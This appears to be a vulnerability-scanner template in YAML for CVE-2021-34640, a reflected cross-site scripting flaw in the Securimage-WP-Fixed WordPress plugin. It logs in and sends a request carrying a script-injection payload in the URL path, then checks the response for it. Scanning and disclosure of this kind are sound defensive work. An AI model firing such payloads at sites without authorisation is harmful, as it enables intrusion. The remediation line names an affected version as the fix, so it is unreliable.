63 lines
2.2 KiB
YAML
63 lines
2.2 KiB
YAML
id: CVE-2021-34640
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info:
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name: WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting
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author: dhiyaneshDK
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severity: medium
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description: WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts.
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remediation: |
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Update the Securimage-WP-Fixed plugin to version 3.5.4 or later to mitigate the vulnerability.
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reference:
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- https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2
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- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640
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- https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628
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- https://nvd.nist.gov/vuln/detail/CVE-2021-34640
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-34640
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cwe-id: CWE-79
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epss-score: 0.00116
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epss-percentile: 0.45113
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cpe: cpe:2.3:a:securimage-wp-fixed_project:securimage-wp-fixed:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: securimage-wp-fixed_project
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product: securimage-wp-fixed
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framework: wordpress
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tags: wpscan,wordpress,cve,cve2021,wp-plugin,authenticated
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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Cookie: wordpress_test_cookie=WP%20Cookie%20check
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log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
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- |
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GET //wp-admin/options-general.php/"></script><script>alert(document.domain)</script>/script%3E?page=securimage-wp-options%2F HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '</script><script>alert(document.domain)</script>'
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4b0a0048304602210098af29458eb0e363758a19e7084ce57d6fc9bf7554042b830ed30d09c11bbeed022100877300e23221da43157b1a32bec647740900aad6dc8a9b1f2a8fc64d8d1cae3a:922c64590222798bb761d5b6d8e72950
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